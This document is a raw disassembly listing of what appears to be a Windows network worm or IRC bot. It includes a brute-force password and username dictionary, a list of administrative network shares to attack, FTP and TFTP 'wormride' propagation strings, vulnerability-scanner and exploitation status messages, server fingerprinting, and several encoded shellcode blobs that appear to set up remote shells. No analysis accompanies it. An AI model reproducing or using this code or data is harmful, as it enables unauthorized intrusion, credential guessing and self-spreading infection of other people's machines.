		rol	byte ptr [ecx+0], 88h
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[eax-40h], al
		inc	ecx
		add	[eax], bh
		rol	byte ptr [ecx+0], 30h
		rol	byte ptr [ecx+0], 28h
		rol	byte ptr [ecx+0], 80h
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[eax+eax*8], bl
		inc	ecx
		add	[eax+eax*8], cl
		inc	ecx
		add	[ebx+eax*8+41h], dh
		add	[ebx+eax*8+41h], ch
		add	[eax+eax*8], al
		inc	ecx
		add	al, bh
		mov	edi, 0BFE80041h
		inc	ecx
		add	[ebx+eax*8+41h], ah
		add	ah, dl
		mov	edi, 0BFD00041h
		inc	ecx
		add	ah, cl
		mov	edi, 0BFC40041h
		inc	ecx
		add	[eax-3Dh], ah
		inc	ecx
		add	[ebx+eax*8+41h], bl
		add	[eax-5BFFBE41h], dh
		mov	edi, 0C3540041h
		inc	ecx
		add	[eax-3Dh], dl
		inc	ecx
		add	[eax-3Dh], cl
		inc	ecx
		add	[eax-3Dh], al
		inc	ecx
		add	[eax], bh
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[eax], dh
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[eax-67FFBE41h], ah
		mov	edi, 0BF940041h
		inc	ecx
		add	[eax], ch
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[eax], ah
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[edi+edi*4-407BFFBFh], cl
		inc	ecx
		add	[eax], bl
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[ebx+eax*8], dl
		inc	ecx
		add	[esp+eax*8+41h], dh
		add	[eax], cl
		retn
; ---------------------------------------------------------------------------
		dw 41h
		dd offset aStudent	; "student"
; ---------------------------------------------------------------------------
		clc
		retn	41h
; ---------------------------------------------------------------------------
		dd offset aTeacher	; "teacher"
		dd offset aStaff	; "staff"
		dd 0
aWinpass	db 'winpass',0
aBlank		db 'blank',0
		align 4
aXp_0		db 'xp',0
		align 4
aNokia		db 'nokia',0
		align 10h
aHp		db 'hp',0
		align 4
aOrainstall	db 'orainstall',0
		align 10h
aSqlpassoainsta	db 'sqlpassoainstall',0
		align 4
aDb1234		db 'db1234',0
		align 4
aDb2		db 'db2',0
aDb1		db 'db1',0
aDatabasepasswo	db 'databasepassword',0
		align 4
aDatabasepass	db 'databasepass',0
		align 4
aDbpassword	db 'dbpassword',0
		align 4
aDbpass		db 'dbpass',0
		align 4
aDomainpassword	db 'domainpassword',0
		align 4
aDomainpass	db 'domainpass',0
		align 4
aHello		db 'hello',0
		align 10h
aHell		db 'hell',0
		align 4
aLove		db 'love',0
		align 10h
aMoney		db 'money',0
		align 4
aSlut		db 'slut',0
		align 10h
aBitch		db 'bitch',0
		align 4
aFuck		db 'fuck',0
		align 10h
aExchange	db 'exchange',0
		align 4
aLoginpass	db 'loginpass',0
		align 4
aLogin		db 'login',0
		align 10h
aQwe		db 'qwe',0              ; DATA XREF: BrattyUS:0041BE4Co
aZxc		db 'zxc',0              ; DATA XREF: BrattyUS:0041BE48o
aAsd		db 'asd',0              ; DATA XREF: BrattyUS:0041BE44o
aQaz		db 'qaz',0              ; DATA XREF: BrattyUS:0041BE40o
aWin2000	db 'win2000',0          ; DATA XREF: BrattyUS:0041BE3Co
aWinnt		db 'winnt',0            ; DATA XREF: BrattyUS:0041BE38o
		align 10h
aWinxp		db 'winxp',0            ; DATA XREF: BrattyUS:0041BE34o
		align 4
aWin2k		db 'win2k',0            ; DATA XREF: BrattyUS:0041BE30o
		align 10h
aWin98		db 'win98',0            ; DATA XREF: BrattyUS:0041BE2Co
		align 4
aWindows	db 'windows',0          ; DATA XREF: BrattyUS:0041BE28o
aOeminstall	db 'oeminstall',0       ; DATA XREF: BrattyUS:0041BE20o
		align 4
aOem		db 'oem',0              ; DATA XREF: BrattyUS:0041BE18o
aAccounting	db 'accounting',0       ; DATA XREF: BrattyUS:0041BE08o
		align 4
aAccounts	db 'accounts',0         ; DATA XREF: BrattyUS:0041BE04o
		align 4
aLetmein	db 'letmein',0          ; DATA XREF: BrattyUS:0041BE00o
aSex		db 'sex',0              ; DATA XREF: BrattyUS:0041BDFCo
aOutlook	db 'outlook',0          ; DATA XREF: BrattyUS:0041BDECo
aMail		db 'mail',0             ; DATA XREF: BrattyUS:0041BDE8o
		align 4
aQwerty		db 'qwerty',0           ; DATA XREF: BrattyUS:0041BDE4o
		align 4
aTemp123	db 'temp123',0          ; DATA XREF: BrattyUS:0041BDE0o
aTemp		db 'temp',0             ; DATA XREF: BrattyUS:0041BDDCo
		align 4
aNull		db 'null',0             ; DATA XREF: BrattyUS:0041BDD8o
		align 4
aDefault	db 'default',0          ; DATA XREF: BrattyUS:0041BDC8o
aChangeme	db 'changeme',0         ; DATA XREF: BrattyUS:0041BDC4o
		align 4
aDemo		db 'demo',0             ; DATA XREF: BrattyUS:0041BDB4o
		align 10h
aTest		db 'test',0
		align 4
a2005		db '2005',0
		align 10h
a2004		db '2004',0
		align 4
a2001		db '2001',0
		align 10h
aSecret		db 'secret',0
		align 4
aPayday		db 'payday',0
		align 10h
aDeadline	db 'deadline',0
		align 4
aWork		db 'work',0
		align 4
a1234567890	db '1234567890',0
		align 10h
a123456789	db '123456789',0
		align 4
a12345678	db '12345678',0
		align 4
a1234567	db '1234567',0
a123456		db '123456',0
		align 4
a12345		db '12345',0
		align 10h
a1234		db '1234',0
		align 4
a123		db '123',0
a12		db '12',0
		align 10h
a1:
		unicode	0, <1>,0
a007		db '007',0
aPwd		db 'pwd',0
aPass		db 'pass',0
		align 4
aPass1234	db 'pass1234',0
		align 10h
aDba		db 'dba',0
aPasswd		db 'passwd',0
		align 4
aPassword	db 'password',0         ; DATA XREF: BrattyUS:0041D840o
		align 4
aPassword1	db 'password1',0
		align 4
aAbc		db 'abc',0
aAb		db 'ab',0
		align 4
aA_0:
		unicode	0, <a>,0
aIpc		db 'IPC$',0             ; DATA XREF: BrattyUS:0041BD04o
		align 4
aPrint		db 'print$',0
		align 10h
aCDocumentsAndS	db 'C$\Documents and Settings\All Users\Documents\$',0
aAdmin_0	db 'admin$',0
		align 4
aAdminSystem32	db 'Admin$\system32',0
aCWindowsSystem	db 'c$\windows\system32',0 ; DATA XREF: BrattyUS:0041BCF0o
aCWinntSystem32	db 'c$\winnt\system32',0
		align 10h
aCWindows	db 'c$\windows',0
		align 4
aCWinnt		db 'c$\winnt',0
		align 4
aEShared	db 'e$\shared',0
		align 4
aDShared	db 'd$\shared',0        ; DATA XREF: BrattyUS:0041BCDCo
		align 10h
aCShared	db 'c$\shared',0
		align 4
aE		db 'e$',0
		align 10h
aD		db 'd$',0               ; DATA XREF: BrattyUS:0041BCD0o
		align 4
aC		db 'c$',0               ; DATA XREF: BrattyUS:0041BCCCo
		align 4
aStaff		db 'staff',0            ; DATA XREF: BrattyUS:0041BCC4o
					; BrattyUS:0041BF7Co
		align 10h
aTeacher	db 'teacher',0          ; DATA XREF: BrattyUS:0041BCC0o
					; BrattyUS:0041BF78o
aOwner		db 'owner',0
		align 10h
aStudent	db 'student',0          ; DATA XREF: BrattyUS:0041BCB8o
					; BrattyUS:0041BF70o
aIntranet	db 'intranet',0
		align 4
aLan_0		db 'lan',0
aMain		db 'main',0             ; DATA XREF: sub_416AC5+5o
					; BrattyUS:00416AECo
		align 10h
aOffice		db 'office',0
		align 4
aControl	db 'control',0
aSiemens	db 'siemens',0
aCompaq		db 'compaq',0
		align 10h
aDell		db 'dell',0
		align 4
aCisco		db 'cisco',0
		align 10h
aIbm		db 'ibm',0
aOracle		db 'oracle',0
		align 4
aSql		db 'sql',0
aSa		db 'sa',0
		align 4
aData		db 'data',0
		align 4
aAccess		db 'access',0
		align 4
aDatabase	db 'database',0
		align 10h
aDomain		db 'domain',0
		align 4
aGod		db 'god',0
aBackup		db 'backup',0
		align 4
aTechnical	db 'technical',0
		align 10h
aMary		db 'mary',0
		align 4
aKatie		db 'katie',0
		align 10h
aKate		db 'kate',0
		align 4
aGeorge		db 'george',0
		align 10h
aEric		db 'eric',0
		align 4
aNone		db 'none',0
		align 10h
aGuest		db 'guest',0
		align 4
aChris		db 'chris',0
		align 10h
aIan		db 'ian',0
aNeil		db 'neil',0
		align 4
aLee		db 'lee',0
aBrian		db 'brian',0
		align 4
aSusan		db 'susan',0
		align 10h
aSue		db 'sue',0              ; DATA XREF: BrattyUS:0041BC24o
					; BrattyUS:0041BE78o
aSam		db 'sam',0              ; DATA XREF: BrattyUS:0041BC20o
					; BrattyUS:0041BE74o
aLuke		db 'luke',0             ; DATA XREF: BrattyUS:0041BC1Co
					; BrattyUS:0041BE70o
		align 10h
aPeter		db 'peter',0            ; DATA XREF: BrattyUS:0041BC18o
					; BrattyUS:0041BE6Co
		align 4
aJohn		db 'john',0             ; DATA XREF: BrattyUS:0041BC14o
					; BrattyUS:0041BE68o
		align 10h
aMike		db 'mike',0             ; DATA XREF: BrattyUS:0041BC10o
					; BrattyUS:0041BE64o
		align 4
aBill		db 'bill',0             ; DATA XREF: BrattyUS:0041BC0Co
					; BrattyUS:0041BE60o
		align 10h
aFred		db 'fred',0             ; DATA XREF: BrattyUS:0041BC08o
					; BrattyUS:0041BE5Co
		align 4
aJoe		db 'joe',0              ; DATA XREF: BrattyUS:0041BC04o
					; BrattyUS:0041BE58o
aJen		db 'jen',0              ; DATA XREF: BrattyUS:0041BC00o
					; BrattyUS:0041BE54o
aBob		db 'bob',0              ; DATA XREF: BrattyUS:0041BBFCo
					; BrattyUS:0041BE50o
aWwwadmin	db 'wwwadmin',0         ; DATA XREF: BrattyUS:0041BBF8o
					; BrattyUS:0041BE24o
		align 10h
aOemuser	db 'oemuser',0          ; DATA XREF: BrattyUS:0041BBF4o
					; BrattyUS:0041BE1Co
aUser		db 'user',0             ; DATA XREF: BrattyUS:0041BBF0o
					; BrattyUS:0041BE14o
		align 10h
aHomeuser	db 'homeuser',0         ; DATA XREF: BrattyUS:0041BBECo
					; BrattyUS:0041BE10o
		align 4
aHome		db 'home',0             ; DATA XREF: BrattyUS:0041BBE8o
					; BrattyUS:0041BE0Co
		align 4
aInternet	db 'internet',0         ; DATA XREF: BrattyUS:0041BBE4o
					; BrattyUS:0041BDF8o
		align 10h
aWww		db 'www',0              ; DATA XREF: BrattyUS:0041BBE0o
					; BrattyUS:0041BDF4o
aWeb		db 'web',0              ; DATA XREF: BrattyUS:0041BBDCo
					; BrattyUS:0041BDF0o
aRoot		db 'root',0             ; DATA XREF: BrattyUS:0041BBD8o
					; BrattyUS:0041BDD4o
		align 10h
aServer_0	db 'server',0           ; DATA XREF: BrattyUS:0041BBD4o
					; BrattyUS:0041BDD0o
		align 4
aLinux		db 'linux',0            ; DATA XREF: BrattyUS:0041BBCCo
					; BrattyUS:0041BDC0o
		align 10h
aUnix		db 'unix',0             ; DATA XREF: BrattyUS:0041BBC8o
					; BrattyUS:0041BDBCo
		align 4
aComputer	db 'computer',0         ; DATA XREF: BrattyUS:0041BBC4o
					; BrattyUS:0041BDB8o
		align 4
aAdm		db 'adm',0              ; DATA XREF: BrattyUS:0041BBC0o
aAdmin		db 'admin',0            ; DATA XREF: BrattyUS:0041BBBCo
		align 10h
aAdmins		db 'admins',0           ; DATA XREF: BrattyUS:0041BBB8o
		align 4
aAdministrat	db 'administrat',0      ; DATA XREF: BrattyUS:0041BBB4o
aAdministrateur	db 'administrateur',0   ; DATA XREF: BrattyUS:0041BBB0o
		align 4
aAdministrador	db 'administrador',0    ; DATA XREF: BrattyUS:0041BBACo
					; BrattyUS:0041BD14o
		align 4
aAdministrator	db 'administrator',0    ; DATA XREF: BrattyUS:0041BBA8o
					; BrattyUS:0041BD10o
		align 4
a231		db '231 -',0Dh,0Ah,0    ; DATA XREF: sub_41113B:loc_4119BAo
a221		db '221 -',0Dh,0Ah,0    ; DATA XREF: sub_41113B+843o
dword_41C514	dd 74A60h		; DATA XREF: sub_41113B+834r
		align 10h
unk_41C520	db  2Dh	; -		; DATA XREF: sub_41113B+80Do
		db 3, 30h, 34h
		db    2
		db 25h,	73h, 3
		db    2
aU_TransferToSC	db '- %u. Transfer to %s complete.',0
aFtp_0		db 'ftp',0              ; DATA XREF: sub_41113B+808o
dword_41C54C	dd 11A328h		; DATA XREF: sub_41113B+73Er
		dd 2 dup(0)
dword_41C558	dd 20363232h, 0A0D2Dh	; DATA XREF: sub_41113B+6F7o
					; sub_41113B+7AAo
aX32000Fh1024Ja	db '-x 3 2000 fh 1024 Jan 1 0:00 .',0Dh,0Ah ; DATA XREF: sub_41113B+6AFo
		db 'drwxr-xr-x 3 2000 fh 1024 Jan 1 0:00 ..',0Dh,0Ah
		db '-rwxr-xr-x 3 2000 fh %u Jan 1 0:00 %s',0Dh,0Ah,0
		align 4
a150		db '150 -',0Dh,0Ah,0    ; DATA XREF: sub_41113B+5C7o
					; sub_41113B+751o
dword_41C5DC	dd 13CFA0h		; DATA XREF: sub_41113B+5B4r
		dd 2 dup(0)
dword_41C5E8	dd 20333132h, 0A0D7525h, 0 ; DATA XREF:	sub_41113B+56Do
dword_41C5F4	dd 160250h		; DATA XREF: sub_41113B+4EDr
		align 10h
aUUUUUU		db '%u,%u,%u,%u,%u,%u',0 ; DATA XREF: sub_41113B+427o
		align 4
dword_41C614	dd 165620h		; DATA XREF: sub_41113B+3EAr
		align 10h
dword_41C620	dd 20353234h, 0A0D2Dh	; DATA XREF: sub_41113B+3A3o
dword_41C628	dd 150BD8h		; DATA XREF: sub_41113B+394r
		dd 2 dup(0)
dword_41C634	dd 20303032h, 0A0D2Dh	; DATA XREF: sub_41113B+34Do
					; sub_41113B+4A6o
dword_41C63C	dd 0C4110h		; DATA XREF: sub_41113B+33Er
		dd 2 dup(0)
dword_41C648	dd 20373532h, 20222F22h, 0A0D2Dh ; DATA	XREF: sub_41113B+2F7o
dword_41C654	dd 2B020h		; DATA XREF: sub_41113B+2E8r
		dd 0
dword_41C65C	dd 20313132h, 0A0D2Dh	; DATA XREF: sub_41113B+2A1o
dword_41C664	dd 0A6BE0h		; DATA XREF: sub_41113B+292r
		align 10h
dword_41C670	dd 20353132h, 0A0D2Dh	; DATA XREF: sub_41113B+24Bo
dword_41C678	dd 162FA0h		; DATA XREF: sub_41113B+23Cr
		dd 2 dup(0)
dword_41C684	dd 20303332h, 0A0D2Dh	; DATA XREF: sub_41113B+1E1o
dword_41C68C	dd 151098h		; DATA XREF: sub_41113B+1C8r
		dd 2 dup(0)
dword_41C698	dd 20313333h, 0A0D2Dh	; DATA XREF: sub_41113B+181o
dword_41C6A0	dd 0CC2A8h		; DATA XREF: sub_41113B+16Br
		dd 2 dup(0)
dword_41C6AC	dd 0A0D20h		; DATA XREF: sub_41113B+E9o
					; sub_41113B+115o ...
dword_41C6B0	dd 20303232h, 0A0D2Dh	; DATA XREF: sub_41113B+13o
dword_41C6B8	dd 303332h		; DATA XREF: sub_411A09+193o
dword_41C6BC	dd 53534150h, 0A0D3120h, 0 ; DATA XREF:	sub_411A09+11Do
dword_41C6C8	dd 313333h		; DATA XREF: sub_411A09+F9o
dword_41C6CC	dd 52455355h, 0A0D3120h, 0 ; DATA XREF:	sub_411A09:loc_411A8Ao
dword_41C6D8	dd 303232h		; DATA XREF: sub_411A09+63o
unk_41C6DC	db  2Dh	; -		; DATA XREF: sub_411BBC+115o
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
aRunningFtpWorm	db '- Running FTP wormride thread',0
		align 4
a127_0_0_1	db '127.0.0.1',0        ; DATA XREF: sub_411BBC+6Eo
		align 10h
aFtpWormrideThr	db 'FTP wormride thread',0 ; DATA XREF: sub_411D68+36o
dword_41C724	dd 4000500h, 7868746Bh,	0 ; DATA XREF: sub_411DC5+5E2o
unk_41C730	db  2Dh	; -		; DATA XREF: sub_411DC5+5BDo
		db 3, 30h, 34h
		db    2
		db 25h,	73h, 3
		db    2
aU_TftpTransfer	db '- %u. tftp transfer to %s complete.',0
		align 10h
aWormride	db 'wormride',0         ; DATA XREF: sub_411DC5+5B8o
		align 4
dword_41C76C	dd 1000500h, 656C6946h,	746F4E20h, 756F4620h, 646Eh
					; DATA XREF: sub_411DC5+367o
aOctet		db 'octet',0            ; DATA XREF: sub_411DC5+333o
					; sub_411DC5+345o
		align 4
unk_41C788	db  2Dh	; -		; DATA XREF: sub_411DC5+144o
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
aRunningTftpWor	db '- Running TFTP wormride thread',0
aTftpWormrideTh	db 'TFTP wormride thread',0 ; DATA XREF: sub_4123F6+2Bo
		align 4

loc_41C7C8:				; DATA XREF: sub_4125DF+50o
		jmp	short loc_41C7DF
; ---------------------------------------------------------------------------

loc_41C7CA:				; CODE XREF: BrattyUS:loc_41C7DFp
		mov	ecx, 0
		xor	ecx, 0
		pop	esi

loc_41C7D6:				; CODE XREF: BrattyUS:0041C7DBj
		xor	byte ptr [ecx+esi-1], 0
		loop	loc_41C7D6
		jmp	short near ptr dword_41C7E4
; ---------------------------------------------------------------------------

loc_41C7DF:				; CODE XREF: BrattyUS:loc_41C7C8j
		call	loc_41C7CA
; ---------------------------------------------------------------------------
dword_41C7E4	dd 0			; CODE XREF: BrattyUS:0041C7DDj
dword_41C7E8	dd 8B64DB33h, 408B3043h, 1C708B0Ch, 8788BADh, 45E8h, 8B565300h
					; DATA XREF: sub_4124A0+CBo
		dd 5C8B3C5Fh, 0DF03783Bh, 205B8B53h, 8353DF03h,	338B04C3h
		dd 0C933F703h, 0C1C832ACh, 0C08405C1h, 0CA2BF675h, 2B58E975h
		dd 5EEBD1D8h, 3245E03h,	0B8B66DFh, 31C5E8Bh, 8B048BDFh
		dd 5B5EC703h, 685EE0FFh, 3233h,	32737768h, 92BA545Fh, 0FF84046Eh
		dd 81F88BD6h, 200ECh, 53EC8B00h, 26A016Ah, 835383BAh, 53D6FF00h
		dd 6853h, 2680000h, 8B000000h, 6AD88BD4h, 0BA535210h, 5A603063h
		dd 0B450D6FFh, 53555002h, 605800BAh, 0BFD6FFE2h, 0
; ---------------------------------------------------------------------------
		jmp	ebp
; ---------------------------------------------------------------------------
		align 4
dword_41C89C	dd 8B64DB33h, 408B3043h, 1C708B0Ch, 8788BADh, 45E8h, 8B565300h
					; DATA XREF: sub_4124A0+8Co
		dd 5C8B3C5Fh, 0DF03783Bh, 205B8B53h, 8353DF03h,	338B04C3h
		dd 0C933F703h, 0C1C832ACh, 0C08405C1h, 0CA2BF675h, 2B58E975h
		dd 5EEBD1D8h, 3245E03h,	0B8B66DFh, 31C5E8Bh, 8B048BDFh
		dd 5B5EC703h, 685EE0FFh, 3233h,	32737768h, 92BA545Fh, 0FF84046Eh
		dd 81F88BD6h, 200ECh, 53EC8B00h, 26A016Ah, 835383BAh, 53D6FF00h
		dd 2685353h, 8B000000h,	6AD88BD4h, 0BA535210h, 0C2A69000h
		dd 5040D6FFh, 3B7ABA53h, 0D6FFA173h, 0BA535050h, 69D310h
		dd 0D88BD6FFh, 0B450C033h, 53555002h, 605800BAh, 0BFD6FFE2h
		dd 0
; ---------------------------------------------------------------------------
		jmp	ebp
; ---------------------------------------------------------------------------
		align 4
dword_41C964	dd 8B64DB33h, 408B3043h, 1C708B0Ch, 8788BADh, 45E8h, 8B565300h
					; DATA XREF: sub_4124A0+36o
		dd 5C8B3C5Fh, 0DF03783Bh, 205B8B53h, 8353DF03h,	338B04C3h
		dd 0C933F703h, 0C1C832ACh, 0C08405C1h, 0CA2BF675h, 2B58E975h
		dd 5EEBD1D8h, 3245E03h,	0B8B66DFh, 31C5E8Bh, 8B048BDFh
		dd 5B5EC703h, 685EE0FFh, 3233h,	32737768h, 92BA545Fh, 0FF84046Eh
		dd 81F88BD6h, 200ECh, 6AEC8B00h, 55544310h, 7232BA53h
		dd 0D6FF1979h, 27D8166h, 0ED751111h, 22047D81h,	75222222h
		dd 2B450E4h, 0BA535550h, 0E2605800h, 7D81D6FFh,	20EC8300h
		dd 0BFEA758Bh, 0
; ---------------------------------------------------------------------------
		jmp	ebp
; ---------------------------------------------------------------------------
		align 4
dword_41CA18	dd 8B20EC83h, 45D89ECh,	81007D89h, 200ECh, 14658900h, 8B64DB33h
					; DATA XREF: sub_412720+71o
		dd 408B3043h, 1C708B0Ch, 8788BADh, 0E8087D89h, 45h, 5F8B5653h
		dd 3B5C8B3Ch, 53DF0378h, 3205B8Bh, 0C38353DFh, 3338B04h
		dd 0ACC933F7h, 0C1C1C832h, 75C08405h, 75CA2BF6h, 0D82B58E9h
		dd 35EEBD1h, 0DF03245Eh, 8B0B8B66h, 0DF031C5Eh,	38B048Bh
		dd 0FF5B5EC7h, 33685EE0h, 68000032h, 5F327377h,	6E92BA54h
		dd 0D6FF8404h, 8B0C4589h, 46A53F8h, 475FF55h, 669000BAh
		dd 83D6FFE0h, 850F04F8h, 0C5h, 0E8087D8Bh, 0Dh,	3 dup(0)
		dd 18458F00h, 6A026A53h, 68535301h, 0C0000000h,	0BA1875FFh
		dd 5C6BD33Dh, 4589D6FFh, 840F401Ch, 8Dh, 330C7D8Bh, 2B450C0h
		dd 1475FF50h, 0BA0475FFh, 0E2605800h, 7D8BD6FFh, 74C08508h
		dd 41C88B1Eh, 8D535774h, 5051104Dh, 0FF1475FFh,	0B9BA1C75h
		dd 0FFCBF5BEh, 74C085D6h, 0FFC5EB40h, 5CBA1C75h, 0FF9DC593h
		dd 58446AD6h, 0FC8BE02Bh, 33ABD78Bh, 59106AC0h,	8BFDE2ABh
		dd 5252087Dh, 50505050h, 0FF505050h, 2CBA1875h,	0FF2694F1h
		dd 0C7FE58D6h, 1BA5053h, 0FFDE34D6h, 1C75FFD6h,	0C5935CBAh
		dd 0FFD6FF9Dh, 3DBA1875h, 0FF27CF53h, 0C7D8BD6h, 0BA0475FFh
		dd 7315685h, 7D8BD6FFh,	46BABA08h, 0D6FFC10Ch
		db 0
byte_41CB95	db 0E3h			; DATA XREF: sub_4125DF+CFr
					; sub_4125DF+E4w
		align 4
dword_41CB98	dd 4113E68Bh		; DATA XREF: sub_4125DF+60r
					; sub_4125DF+75w
		align 10h
off_41CBA0	dd offset dword_41CCF8	; DATA XREF: sub_4127D0+77r
		dd offset nullsub_1
		dd 0
		dd offset dword_41CCD8
		dd offset dword_41CCCC
		align 8
		dd offset dword_41CCAC
		dd offset nullsub_2
		dd 0
		dd offset dword_41CC84
		dd offset nullsub_3
		align 10h
		dd offset loc_41CC58
		dd offset dword_41CC4C
		dd 0
		dd offset dword_41CC34
		dd offset nullsub_4
		align 8
		dd offset loc_41CC0C
		dd offset nullsub_5
		dd 4 dup(0)
; [00000003 BYTES: COLLAPSED FUNCTION nullsub_5. PRESS KEYPAD "+" TO EXPAND]
		db 0DAh
		dd 2 dup(0)
; ---------------------------------------------------------------------------

loc_41CC0C:				; DATA XREF: BrattyUS:0041CBE8o
					; BrattyUS:0041DB60o
		mov	ah, [esi-42447F50h]
		mov	esp, 0C590B1ACh
		cdq
		icebp
		mov	edi, 0B191C99Ah
		test	dword ptr [esi+0A0ADh],	0
; [00000003 BYTES: COLLAPSED FUNCTION nullsub_4. PRESS KEYPAD "+" TO EXPAND]
		db 0D0h
		dd 2 dup(0)
dword_41CC34	dd 91B0A391h, 0A1B1FABBh, 9EDF93AAh, 88DAB2E5h,	0B4AD9Ah
					; DATA XREF: BrattyUS:0041CBDCo
					; BrattyUS:0041DB54o
		dd 0
dword_41CC4C	dd 0DBEFF5CEh, 2 dup(0)	; DATA XREF: BrattyUS:0041CBD4o
					; BrattyUS:0041DB4Co
; ---------------------------------------------------------------------------

loc_41CC58:				; DATA XREF: BrattyUS:0041CBD0o
					; BrattyUS:0041DB48o
		xchg	eax, esp
		mov	ebx, 0FAA489A9h
		mov	eax, ds:0DA97B2BAh
		retn	0A4A4h
; ---------------------------------------------------------------------------
		dw 0D386h
		dd 84B8B28Bh, 0E6BCA1A0h, 0DB99A1h, 0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS KEYPAD "+" TO EXPAND]
		db 0F0h, 0E0h, 0DBh
		dd 2 dup(0)
dword_41CC84	dd 87BEA397h, 0A9BAFAA7h, 9FC29FA5h, 0C381BEE5h, 0C6ACB590h
					; DATA XREF: BrattyUS:0041CBC4o
					; BrattyUS:0041DB3Co
		dd 0A0B1A6h, 0
; [00000003 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]
		db 0D0h
		dd 2 dup(0)
dword_41CCAC	dd 8DBEAB8Eh, 0A4B6FABAh, 82DD95A3h, 0D581B2FEh, 9BBAA69Bh
					; DATA XREF: BrattyUS:0041CBB8o
					; BrattyUS:0041DB30o
		dd 0A5BBB7E6h, 2 dup(0)
dword_41CCCC	dd 0D0EBFBC0h, 2 dup(0)	; DATA XREF: BrattyUS:0041CBB0o
					; BrattyUS:0041DB28o
dword_41CCD8	dd 0C6B0A38Dh, 0A0A7BCA1h, 0D88E92B1h, 84B8F4h,	0
					; DATA XREF: BrattyUS:0041CBACo
					; BrattyUS:0041DB24o
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
		db 0F0h, 0EAh, 0DCh
		dd 2 dup(0)
dword_41CCF8	dd 90AAAB8Ah, 0A6B1B1BCh, 9EDF99ECh, 0C281A2F3h, 8DB7EC9Dh
					; DATA XREF: BrattyUS:off_41CBA0o
					; BrattyUS:off_41DB18o
		dd 0BCh, 0
dword_41CD14	dd 72h			; DATA XREF: sub_412A3A:loc_412B93o
dword_41CD18	dd 62h			; DATA XREF: sub_412BC9:loc_412D11o
dword_41CD1C	dd 63h			; DATA XREF: sub_412D56:loc_412DC8o
dword_41CD20	dd 3430032Dh, 3752502h,	52202D02h, 696E6E75h, 7320676Eh
					; DATA XREF: sub_412E04+64o
		dd 6C6C6568h, 65646F63h, 72657320h, 20726576h, 70206E6Fh
		dd 2074726Fh, 2343003h,	2037325h, 0
dword_41CD58	dd 6C656853h, 646F636Ch, 65732065h, 72657672h, 206E6F20h
					; DATA XREF: sub_412F07+98o
		dd 74726F70h, 34300320h, 3752502h, 2, 0
byte_41CD80	db 9Dh			; DATA XREF: sub_41294E+3Co
					; sub_41294E+4Co ...
		db 0A1h, 0B6h, 85h
		dd 0FAh, 2 dup(0)
		dd 0C8000000h, 0ECF1h, 3 dup(0)
		db 2 dup(0)
dword_41CDA6	dd 0A24AAEE1h		; DATA XREF: sub_41294E+2Br
					; sub_412FC6+31r ...
dword_41CDAA	dd 0			; DATA XREF: sub_412FC6+57w
					; sub_414052+B5r ...
off_41CDAE	dd offset sub_410649	; DATA XREF: sub_41294E+1Cr
					; sub_412FC6+18r ...
		dw 3
		dd 0
		dd 0A7970000h, 0A0A998ADh, 0BCh, 2 dup(0)
		dd 0ECF6CD00h, 4 dup(0)
		dd 2BBA20BDh, 0
		dd offset sub_410B52
		dd 3, 10h dup(0)
dword_41CE30	dd 6E695728h, 293233h	; DATA XREF: sub_41308F+217o
dword_41CE38	dd 696E5528h, 2978h	; DATA XREF: sub_41308F+1F1o
dword_41CE40	dd 63617041h, 252F6568h, 75h ; DATA XREF: sub_41308F+1DFo
aApache		db 'Apache',0           ; DATA XREF: sub_41308F+1B9o
		align 4
aMicrosoftIisU_	db 'Microsoft-IIS/%u.%u',0 ; DATA XREF: sub_41308F+130o
aMicrosoftIis	db 'Microsoft-IIS',0    ; DATA XREF: sub_41308F+FCo
		align 4
aServer		db 'Server:',0          ; DATA XREF: sub_41308F+7Ao
aOptionsHttp1_0	db 'OPTIONS / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41308F+Bo
		db 0Dh,0Ah,0
		align 4
unk_41CE98	db  53h	; S		; DATA XREF: sub_41349C+5E4o
		db 63h,	61h, 6Eh
		db  6Eh	; n
		db 65h,	64h, 20h
		db    3
		db 30h,	34h, 2
		db  25h	; %
		db 73h,	3, 2
		db  3Ah	; :
		db 25h,	73h, 20h
		db  69h	; i
		db 6Eh,	20h, 3
		db  30h	; 0
		db 34h,	2, 25h
		db  30h	; 0
		db 2Eh,	32h, 66h
		db    3
		db 2, 73h, 65h
		db  63h	; c
		db 2Eh,	20h, 3
		db  30h	; 0
		db 34h,	2, 25h
		db  75h	; u
		db 3, 2, 20h
aOpenIpSFound	db 'open IP(s) found',0
		align 4
dword_41CEDC	dd 2343003h, 2037325h, 2073253Ah, 6F207369h, 6E6570h
					; DATA XREF: sub_41349C+55Eo
dword_41CEF0	dd 3430032Dh, 3752502h,	53202D02h, 6E6E6163h, 20676E69h
					; DATA XREF: sub_41349C+343o
		dd 2343003h, 2037325h, 2073253Ah, 20726F66h, 2343003h
		dd 2037525h, 63657320h,	28646E6Fh, 2973h
dword_41CF28	dd 6E616353h, 676E696Eh, 34300320h, 3732502h, 73253A02h
					; DATA XREF: sub_41349C+305o
		dd 726F6620h, 34300320h, 3752502h, 65732002h, 646E6F63h
		dd 297328h
unk_41CF54	db  53h	; S		; DATA XREF: sub_413AB0+1DCo
		db 63h,	61h, 6Eh
		db  6Eh	; n
		db 69h,	6Eh, 67h
		db  20h
		db 3, 30h, 34h
		db    2
		db 25h,	73h, 3
		db    2
		db 3Ah,	25h, 73h
		db  20h
		db 66h,	6Fh, 72h
		db  20h
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
aSecondSTUSU	db ' second(s), t:%u s:%u',0
		align 4
dword_41CF8C	dd 3430032Dh, 3752502h,	41202D02h, 6D657474h, 64657470h
					; DATA XREF: sub_413CB3+30Eo
		dd 34300320h, 3752502h,	78652002h, 696F6C70h, 69746174h
		dd 73286E6Fh, 6E6F2029h, 34300320h, 3752502h, 50492002h
		dd 2E297328h, 0
